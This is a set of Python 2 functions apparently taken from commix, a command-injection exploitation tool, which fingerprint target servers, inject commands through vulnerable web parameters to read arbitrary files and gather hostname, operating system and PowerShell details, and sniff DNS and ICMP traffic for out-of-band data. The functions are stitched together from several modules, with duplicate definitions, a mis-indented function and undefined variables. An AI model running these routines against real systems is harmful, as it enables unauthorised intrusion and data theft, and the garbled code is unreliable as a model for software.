def server_identification(server_banner):
  found_server_banner = False
  if settings.VERBOSITY_LEVEL >= 1:
    info_msg = "Identifying the target server... " 
    sys.stdout.write(settings.print_info_msg(info_msg))
    sys.stdout.flush()

  for i in range(0,len(settings.SERVER_BANNERS)):
    match = re.search(settings.SERVER_BANNERS[i].lower(), server_banner.lower())
    if match:
      if settings.VERBOSITY_LEVEL >= 1:
        print "[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]"
      if settings.VERBOSITY_LEVEL >= 1:
        success_msg = "The target server was identified as " 
        success_msg += server_banner + Style.RESET_ALL + "."
        print settings.print_success_msg(success_msg)
      settings.SERVER_BANNER = match.group(0)
      found_server_banner = True
      # Set up default root paths
      if "apache" in settings.SERVER_BANNER.lower():
        if settings.TARGET_OS == "win":
          settings.WEB_ROOT = "\\htdocs"
        else:
          settings.WEB_ROOT = "/var/www"
      elif "nginx" in settings.SERVER_BANNER.lower(): 
        settings.WEB_ROOT = "/usr/share/nginx"
      elif "microsoft-iis" in settings.SERVER_BANNER.lower():
        settings.WEB_ROOT = "\\inetpub\\wwwroot"
      break
  else:
    if settings.VERBOSITY_LEVEL >= 1:
      print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]"
      warn_msg = "The server which was identified as '" 
      warn_msg += server_banner + "' seems unknown."
      print settings.print_warning_msg(warn_msg)

def process_json_data():
  while True:
    success_msg = "JSON data found in POST data."
    if not menu.options.batch:
      question_msg = success_msg
      question_msg += " Do you want to process it? [Y/n] > "
      sys.stdout.write(settings.print_question_msg(question_msg))
      json_process = sys.stdin.readline().replace("\n","").lower()
    else:
      if settings.VERBOSITY_LEVEL >= 1:
        print settings.print_success_msg(success_msg)
      json_process = ""
    if len(json_process) == 0:
       json_process = "y"              
    if json_process in settings.CHOICE_YES:
      settings.IS_JSON = True
      break
    elif json_process in settings.CHOICE_NO:
      break 
    elif json_process in settings.CHOICE_QUIT:
      raise SystemExit()
    else:
      err_msg = "'" + json_process + "' is not a valid answer."  
      print settings.print_error_msg(err_msg)
      pass

def application_identification(server_banner, url):
  found_application_extension = False
  if settings.VERBOSITY_LEVEL >= 1:
    info_msg = "Identifying the target application ... " 
    sys.stdout.write(settings.print_info_msg(info_msg))
    sys.stdout.flush()
  root, application_extension = splitext(urlparse(url).path)
  settings.TARGET_APPLICATION = application_extension[1:].upper()
  
  if settings.TARGET_APPLICATION:
    found_application_extension = True
    if settings.VERBOSITY_LEVEL >= 1:
      print "[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]"           
      success_msg = "The target application was identified as " 
      success_msg += settings.TARGET_APPLICATION + Style.RESET_ALL + "."
      print settings.print_success_msg(success_msg)

    # Check for unsupported target applications
    for i in range(0,len(settings.UNSUPPORTED_TARGET_APPLICATION)):
      if settings.TARGET_APPLICATION.lower() in settings.UNSUPPORTED_TARGET_APPLICATION[i].lower():
        err_msg = settings.TARGET_APPLICATION + " exploitation is not yet supported."  
        print settings.print_critical_msg(err_msg)
        raise SystemExit()

  if not found_application_extension:
    if settings.VERBOSITY_LEVEL >= 1:
      print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]"
    warn_msg = "Heuristics have failed to identify target application."
    print settings.print_warning_msg(warn_msg)

def authentication_process():

  auth_url = menu.options.auth_url
  auth_data = menu.options.auth_data
  cj = cookielib.CookieJar()
  opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
  request = opener.open(urllib2.Request(auth_url))

  cookies = ""
  for cookie in cj:
      cookie_values = cookie.name + "=" + cookie.value + "; "
      cookies += cookie_values

  if len(cookies) != 0 :
    menu.options.cookie = cookies.rstrip()
    if settings.VERBOSITY_LEVEL >= 1:
      success_msg = "The received cookie is "  
      success_msg += menu.options.cookie + Style.RESET_ALL + "."
      print settings.print_success_msg(success_msg)

  urllib2.install_opener(opener)
  request = urllib2.Request(auth_url, auth_data)
  # Check if defined extra headers.
  headers.do_check(request)
  # Get the response of the request.
  response = requests.get_request_response(request)
  return response

def snif(dns_server):
  success_msg = "Started the sniffer between you" + Style.BRIGHT
  success_msg += " and the DNS server " + Fore.YELLOW + dns_server
  success_msg += Style.RESET_ALL + Style.BRIGHT + "."
  print settings.print_success_msg(success_msg)
  while True:
    sniff(filter="port 53", prn=querysniff, store = 0)

def snif(ip_dst, ip_src):
  success_msg = "Started the sniffer between " + Fore.YELLOW + ip_src
  success_msg += Style.RESET_ALL + Style.BRIGHT + " and " + Fore.YELLOW 
  success_msg += ip_dst + Style.RESET_ALL + Style.BRIGHT + "."
  print settings.print_success_msg(success_msg)
  
  while True:
    sniff(filter = "icmp and src " + ip_dst, prn=packet_handler, timeout=settings.DELAY)

def encoding_detection(response):
  if not menu.options.encoding:
    charset_detected = False
    if settings.VERBOSITY_LEVEL >= 1:
      info_msg = "Identifing the indicated web-page charset... " 
      sys.stdout.write(settings.print_info_msg(info_msg))
      sys.stdout.flush()
    try:
      # Detecting charset
      charset = response.headers.getparam('charset')
      if len(charset) != 0 :         
        charset_detected = True
      else:
        content = re.findall(r";charset=(.*)\"", html_data)
        if len(content) != 0 :
          charset = content
          charset_detected = True
        else:
           # Check if HTML5 format
          charset = re.findall(r"charset=['\"](.*?)['\"]", html_data) 
        if len(charset) != 0 :
          charset_detected = True
      # Check the identifyied charset
      if charset_detected :
        settings.DEFAULT_ENCODING = charset
        if settings.VERBOSITY_LEVEL >= 1:
          print "[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]"
        settings.ENCODING = charset.lower()
        if settings.ENCODING.lower() not in settings.ENCODING_LIST:
          warn_msg = "The indicated web-page charset "  + settings.ENCODING + " seems unknown."
          print settings.print_warning_msg(warn_msg)
        else:
          if settings.VERBOSITY_LEVEL >= 1:
            success_msg = "The indicated web-page charset appears to be " 
            success_msg += settings.ENCODING + Style.RESET_ALL + "."
            print settings.print_success_msg(success_msg)
      else:
        pass
    except:
      pass
    if charset_detected == False and settings.VERBOSITY_LEVEL >= 1:
      print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]"
  else:
    settings.ENCODING = menu.options.encoding
    if settings.ENCODING.lower() not in settings.ENCODING_LIST:
      err_msg = "The user-defined charset '"  + settings.ENCODING + "' seems unknown. "
      err_msg += "Please visit 'http://docs.python.org/library/codecs.html#standard-encodings' "
      err_msg += "to get the full list of supported charsets."
      print settings.print_critical_msg(err_msg)
      raise SystemExit()

def notification(url, technique):
    try:
        if settings.LOAD_SESSION == True:
            success_msg = "A previously stored session has been held against that host."
            print settings.print_success_msg(success_msg)
            while True:
                question_msg = "Do you want to resume to the "
                question_msg += technique.rsplit(" ", 2)[0]
                question_msg += " injection point? [Y/n/q] > "
                sys.stdout.write(settings.print_question_msg(question_msg))
                settings.LOAD_SESSION = sys.stdin.readline().replace("\n", "").lower()
                if settings.LOAD_SESSION in settings.CHOICE_YES:
                    return True
                elif settings.LOAD_SESSION in settings.CHOICE_NO:
                    settings.LOAD_SESSION = False
                    if technique[:1] != "c":
                        while True:
                            question_msg = "Which technique do you want to re-evaluate? [(C)urrent/(a)ll/(n)one] > "
                            sys.stdout.write(settings.print_question_msg(question_msg))
                            proceed_option = sys.stdin.readline().replace("\n", "").lower()
                            if proceed_option.lower() in settings.CHOICE_PROCEED:
                                if proceed_option.lower() == "a":
                                    settings.RETEST = True
                                    break
                                elif proceed_option.lower() == "c":
                                    settings.RETEST = False
                                    break
                                elif proceed_option.lower() == "n":
                                    raise SystemExit()
                                else:
                                    pass
                            else:
                                if proceed_option.lower() == "":
                                    proceed_option = "enter"
                                err_msg = "'" + proceed_option + "' is not a valid answer."
                                print settings.print_error_msg(err_msg)
                                pass
                    if settings.SESSION_APPLIED_TECHNIQUES:
                        menu.options.tech = "".join(settings.AVAILABLE_TECHNIQUES)
                    return False
                elif settings.LOAD_SESSION in settings.CHOICE_QUIT:
                    raise SystemExit()
                else:
                    if settings.LOAD_SESSION == "":
                        settings.LOAD_SESSION = "enter"
                    err_msg = "'" + settings.LOAD_SESSION + "' is not a valid answer."
                    print settings.print_error_msg(err_msg)
                    pass
    except sqlite3.OperationalError, err_msg:
        print settings.print_critical_msg(err_msg)

def uninstaller():
  info_msg = "Starting the uninstaller... "
  sys.stdout.write(settings.print_info_msg(info_msg))
  sys.stdout.flush()
  try:
		subprocess.Popen("rm -rf /usr/bin/" + settings.APPLICATION + " >/dev/null 2>&1", shell=True).wait()
		subprocess.Popen("rm -rf /usr/share/" + settings.APPLICATION + " >/dev/null 2>&1", shell=True).wait()
  except:
    print "[" + Fore.RED + " FAILED " + Style.RESET_ALL + "]"
    sys.exit(0)
    
  sys.stdout.write("[" + Fore.GREEN + " SUCCEED " + Style.RESET_ALL + "]\n")
  sys.stdout.flush()
  success_msg = "The un-installation of commix has finished!" 
  print settings.print_success_msg(success_msg)

def powershell_version(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename): 
  cmd = settings.PS_VERSION
  if alter_shell:
    cmd = cmd.replace("'","\\'")
  #Command execution results.
  response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
  # Evaluate injection results.
  if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
    # Evaluate injection results.
    ps_version = cb_injector.injection_results(response, TAG, cmd)
    ps_version = "".join(str(p) for p in ps_version)
    session_handler.store_cmd(url, cmd, ps_version, vuln_parameter)
  else:
    ps_version = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
  try:
    if float(ps_version):
      settings.PS_ENABLED = True
      if settings.VERBOSITY_LEVEL >= 1:
        print ""
      # Output PowerShell's version number
      success_msg = "The PowerShell's version number is " 
      success_msg += ps_version + Style.RESET_ALL + Style.BRIGHT
      sys.stdout.write(settings.print_success_msg(success_msg) + ".\n")
      sys.stdout.flush()
      # Add infos to logs file. 
      output_file = open(filename, "a")
      success_msg = "The PowerShell's version number is " + ps_version + ".\n"
      output_file.write("    " + re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg)
      output_file.close()
  except ValueError:
    warn_msg = "Heuristics have failed to identify PowerShell's version, "
    warn_msg += "which means that some payloads or injection techniques may be failed."
    print settings.print_warning_msg(warn_msg)
    settings.PS_ENABLED = False
    checks.ps_check_failed()

def file_read(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename):
  file_to_read = menu.options.file_read
  # Execute command
  if settings.TARGET_OS == "win":
    cmd = settings.WIN_FILE_READ + file_to_read
  else:
    cmd = settings.FILE_READ + file_to_read
  response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
  if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
    # Evaluate injection results.
    shell = cb_injector.injection_results(response, TAG, cmd)
    shell = "".join(str(p) for p in shell)
    session_handler.store_cmd(url, cmd, shell, vuln_parameter)
  else:
    shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
  if menu.options.verbose:
    print ""
  if shell:
    success_msg = "The contents of file '" + Style.UNDERLINE 
    success_msg += file_to_read + Style.RESET_ALL + "' : "
    sys.stdout.write(settings.print_success_msg(success_msg))
    print shell
    output_file = open(filename, "a")
    success_msg = "The contents of file '"
    success_msg += file_to_read + "' : " + shell + ".\n"
    output_file.write("    " + settings.SUCCESS_SIGN + success_msg)
    output_file.close()
  else:
    warn_msg = "It seems that you don't have permissions "
    warn_msg += "to read the '" + file_to_read + "' file."
    sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n")
    sys.stdout.flush()

def hostname(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response):
  _ = False
  cmd = settings.HOSTNAME
  if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
    # The main command injection exploitation.
    check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
    session_handler.store_cmd(url, cmd, output, vuln_parameter)
    _ = True
  else:
    output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
  shell = output 
  if shell:
    if settings.VERBOSITY_LEVEL <= 1 and not menu.options.ignore_session and _:
      print ""
    success_msg = "The hostname is " +  shell
    sys.stdout.write(settings.print_success_msg(success_msg) + ".")
    sys.stdout.flush()
    # Add infos to logs file. 
    output_file = open(filename, "a")
    success_msg = "The hostname is " + shell + ".\n"
    output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg)
    output_file.close()
  else:
    warn_msg = "Heuristics have failed to identify the hostname."
    print settings.print_warning_msg(warn_msg)

def powershell_version(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): 
  _ = False
  cmd = settings.PS_VERSION
  if alter_shell:
    cmd = cmd.replace("'","\\'")
  if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
    # The main command injection exploitation.
    check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
    session_handler.store_cmd(url, cmd, output, vuln_parameter)
    _ = True
  else:
    output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
  ps_version = output
  try:
    if float(ps_version):
      settings.PS_ENABLED = True
      ps_version = "".join(str(p) for p in output)
      if settings.VERBOSITY_LEVEL <= 1 and not menu.options.ignore_session and _:
        print ""
      # Output PowerShell's version number
      success_msg = "The PowerShell's version number is " 
      success_msg += ps_version + Style.RESET_ALL + Style.BRIGHT
      sys.stdout.write(settings.print_success_msg(success_msg) + ".")
      sys.stdout.flush()
      # Add infos to logs file. 
      output_file = open(filename, "a")
      success_msg = "The PowerShell's version number is " + ps_version + ".\n"
      output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg)
      output_file.close()
  except ValueError:
    warn_msg = "Heuristics have failed to identify the version of Powershell, "
    warn_msg += "which means that some payloads or injection techniques may be failed." 
    print "\n" + settings.print_warning_msg(warn_msg)
    settings.PS_ENABLED = False

def file_read(separator, payload, TAG, delay, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename):
  file_to_read = menu.options.file_read
  # Execute command
  if settings.TARGET_OS == "win":
    cmd = settings.WIN_FILE_READ + file_to_read
  else:
    cmd = settings.FILE_READ + file_to_read 
  response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
  if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
    # Evaluate injection results.
    shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, delay)
    shell = "".join(str(p) for p in shell)
    session_handler.store_cmd(url, cmd, shell, vuln_parameter)
  else:
    shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
  if settings.VERBOSITY_LEVEL >= 1:
    print ""
  if shell:
    success_msg = "The contents of file '"  
    success_msg += file_to_read + "'" + Style.RESET_ALL + ": "
    sys.stdout.write(settings.print_success_msg(success_msg))
    print shell
    output_file = open(filename, "a")
    success_msg = "The contents of file '"
    success_msg += file_to_read + "' : " + shell + ".\n"
    output_file.write("    " + re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg)
    output_file.close()
  else:
    warn_msg = "It seems that you don't have permissions "
    warn_msg += "to read the '" + file_to_read + "' file."
    sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n")
    sys.stdout.flush()

def system_information(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename):    
  if settings.TARGET_OS == "win":
    settings.RECOGNISE_OS = settings.WIN_RECOGNISE_OS
  cmd = settings.RECOGNISE_OS        
  if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
    # Command execution results.
    response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
    # Evaluate injection results.
    target_os = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec)
    target_os = "".join(str(p) for p in target_os)
    session_handler.store_cmd(url, cmd, target_os, vuln_parameter)
  else:
    target_os = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
  if target_os:
    target_os = "".join(str(p) for p in target_os)
    if settings.TARGET_OS != "win":
      cmd = settings.DISTRO_INFO
      if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
        # Command execution results.
        response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
        # Perform target page reload (if it is required).
        if settings.URL_RELOAD:
          response = requests.url_reload(url, timesec)
        # Evaluate injection results.
        distro_name = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec)
        distro_name = "".join(str(p) for p in distro_name)
        if len(distro_name) != 0:
          target_os = target_os + " (" + distro_name + ")"
        session_handler.store_cmd(url, cmd, target_os, vuln_parameter)
      else:
        target_os = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
    if settings.TARGET_OS == "win":
      cmd = settings.WIN_RECOGNISE_HP
    else:
      cmd = settings.RECOGNISE_HP
    if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
      # Command execution results.
      response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
      # Evaluate injection results.
      target_arch = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec)
      target_arch = "".join(str(p) for p in target_arch)
      session_handler.store_cmd(url, cmd, target_arch, vuln_parameter)
    else:
      target_arch = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
    if target_arch:
      # if settings.VERBOSITY_LEVEL >= 1:
      #   print ""
      success_msg = "The target operating system is " +  target_os + Style.RESET_ALL  
      success_msg += Style.BRIGHT + " and the hardware platform is " +  target_arch
      sys.stdout.write(settings.print_success_msg(success_msg) + ".\n")
      sys.stdout.flush()
      # Add infos to logs file.   
      output_file = open(filename, "a")
      success_msg = "The target operating system is " + target_os
      success_msg += " and the hardware platform is " + target_arch + ".\n"
      output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg)
      output_file.close()
  else:
    warn_msg = "Heuristics have failed to retrieve the system information."
    print settings.print_warning_msg(warn_msg)

def powershell_version(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response):
  cmd = settings.PS_VERSION
  if alter_shell:
    cmd = cmd.replace("'","\\'")
  #Command execution results.
  if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
    # The main command injection exploitation.
    check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
    session_handler.store_cmd(url, cmd, output, vuln_parameter)
    new_line = "\n"
  else:
    output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
    new_line = ""
  ps_version = output
  try:
    if float(ps_version):
      settings.PS_ENABLED = True
      ps_version = "".join(str(p) for p in output)
      if settings.VERBOSITY_LEVEL >= 1:
        print ""
      # Output PowerShell's version number
      success_msg = "The PowerShell's version number is " 
      success_msg += ps_version + Style.RESET_ALL + Style.BRIGHT
      sys.stdout.write(new_line + settings.print_success_msg(success_msg) + ".")
      sys.stdout.flush()
      # Add infos to logs file.
      output_file = open(filename, "a")
      success_msg = "The PowerShell's version number is " + ps_version + ".\n"
      output_file.write("    " + settings.SUCCESS_SIGN + success_msg)
      output_file.close()
  except ValueError:
    warn_msg = "Heuristics have failed to identify PowerShell's version, "
    warn_msg += "which means that some payloads or injection techniques may be failed." 
    print "\n" + settings.print_warning_msg(warn_msg)
    settings.PS_ENABLED = False

def hostname(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec):
  if settings.TARGET_OS == "win":
    settings.HOSTNAME = settings.WIN_HOSTNAME 
  cmd = settings.HOSTNAME
  if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
    # Command execution results.
    response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
    # Perform target page reload (if it is required).
    if settings.URL_RELOAD:
      response = requests.url_reload(url, timesec)
    # Evaluate injection results.
    shell = cb_injector.injection_results(response, TAG, cmd)
    shell = "".join(str(p) for p in shell)
    session_handler.store_cmd(url, cmd, shell, vuln_parameter)
  else:
    shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
  if shell:
    shell = "".join(str(p) for p in shell)
    success_msg = "The hostname is " +  shell
    sys.stdout.write(settings.print_success_msg(success_msg) + ".\n")
    sys.stdout.flush()
    # Add infos to logs file. 
    output_file = open(filename, "a")
    success_msg = "The hostname is " + shell + ".\n"
    output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg)
    output_file.close()
  else:
    warn_msg = "Heuristics have failed to identify the hostname."
    print settings.print_warning_msg(warn_msg)

 def is_JSON_check(parameter):
   try:
     json_object = json.loads(parameter)
     if re.search(settings.JSON_RECOGNITION_REGEX, parameter):
       if settings.VERBOSITY_LEVEL >= 1 and not settings.IS_JSON:
         success_msg = Style.BRIGHT +  "JSON data" 
         success_msg += Style.RESET_ALL + Style.BRIGHT
         success_msg += " found in POST data" 
         success_msg += Style.RESET_ALL + "."
         print settings.print_success_msg(success_msg)
   
   except ValueError, err_msg:
     if not "No JSON object could be decoded" in err_msg:
       err_msg = "JSON " + str(err_msg) + ". "
       print settings.print_critical_msg(err_msg) + "\n"
       sys.exit(0)
     return False

def user_agent_header():
  # Check if defined "--random-agent" option.
  if menu.options.random_agent:
    if (menu.options.agent != settings.DEFAULT_USER_AGENT) or menu.options.mobile:
      err_msg = "The option '--random-agent' is incompatible with option '--user-agent' or switch '--mobile'."
      print settings.print_critical_msg(err_msg)
      raise SystemExit()
    else:
      info_msg = "Fetching random HTTP User-Agent header... "  
      sys.stdout.write(settings.print_info_msg(info_msg))
      sys.stdout.flush()
      try:
        menu.options.agent = random.choice(settings.USER_AGENT_LIST)
        print "[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]"
        success_msg = "The fetched random HTTP User-Agent header is '" + menu.options.agent + "'."  
        print settings.print_success_msg(success_msg)
      except:
        print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]"

def system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response):
  _ = False  
  if settings.TARGET_OS == "win":
    settings.RECOGNISE_OS = settings.WIN_RECOGNISE_OS
  cmd = settings.RECOGNISE_OS        
  if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
    # The main command injection exploitation.
    check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
    session_handler.store_cmd(url, cmd, output, vuln_parameter)
    _ = True
  else:
    output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
  target_os = output
  if settings.VERBOSITY_LEVEL <= 1 and not menu.options.ignore_session and _:
    print ""
  if target_os:
    if settings.TARGET_OS != "win":
      cmd = settings.DISTRO_INFO
      if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
        if settings.VERBOSITY_LEVEL <= 1 and not menu.options.ignore_session and _:
          sys.stdout.write("")
        check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
        session_handler.store_cmd(url, cmd, output, vuln_parameter)
      else:
        output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
      distro_name = output
      if len(distro_name) != 0:
          target_os = target_os + " (" + distro_name + ")"
    if settings.TARGET_OS == "win":
      cmd = settings.WIN_RECOGNISE_HP
    else:
      cmd = settings.RECOGNISE_HP
    if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
      if settings.VERBOSITY_LEVEL <= 1 and not menu.options.ignore_session and _:
        sys.stdout.write("\n")
      # The main command injection exploitation.
      check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
      session_handler.store_cmd(url, cmd, output, vuln_parameter)
    else:
      output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
    target_arch = output
    if target_arch:
      if settings.VERBOSITY_LEVEL <= 1 and not menu.options.ignore_session and _:
        print ""
      success_msg = "The target operating system is " +  target_os + Style.RESET_ALL  
      success_msg += Style.BRIGHT + " and the hardware platform is " +  target_arch
      sys.stdout.write(settings.print_success_msg(success_msg) + ".")
      sys.stdout.flush()
      # Add infos to logs file.   
      output_file = open(filename, "a")
      success_msg = "The target operating system is " + target_os
      success_msg += " and the hardware platform is " + target_arch + ".\n"
      output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg)
      output_file.close()
  else:
    warn_msg = "Heuristics have failed to retrieve the system information."
    print settings.print_warning_msg(warn_msg)